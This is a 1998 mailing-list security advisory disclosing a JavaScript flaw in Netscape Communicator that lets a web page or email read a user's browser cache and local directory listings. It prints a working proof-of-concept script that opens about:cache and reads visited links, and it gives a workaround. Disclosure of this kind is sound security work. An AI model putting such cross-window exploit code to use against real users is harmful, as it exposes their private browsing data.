Date: Wed, 28 Oct 1998 10:22:02 PST
From: Georgi Guninski <guninski@HOTMAIL.COM>
Subject: Javascript bug in Netscape Communicator 4.5

There is a bug in Netscape Communicator 4.5, 4.07, 3.04 under Windows 95
(probably others) which allows reading user's cache (the urls the user
has
visited, including the info in GET forms). Reading local directories
content
is also allowed. This info may be sent to an arbitrary host.
The bug may be exploited by email.

Demonstration is available at:
 Cache reading: http://www.geocities.com/ResearchTriangle/1711/b4.html
 Directory reading:
http://www.geocities.com/ResearchTriangle/1711/b5.html

The javascript code is:

sl=window.open('wysiwyg://1/about:cache');
//For Netscape 3.04 remove 'wysiwyg://1/'
sl2=sl.window.open();
sl2.location="javascript:function f() {s='<SCRIPT>cr=\"\t \"; x=\"Here
are some links from your cache:\"; for(i=0;i<5;i++)
x+=opener.document.links[i]+cr;alert(x);</'+'SCRIPT>';return s};f()";
sl2.location.reload();

Workaround: Disable Javascript.

Regards,
Georgi Guninski
http://www.geocities.com/ResearchTriangle/1711/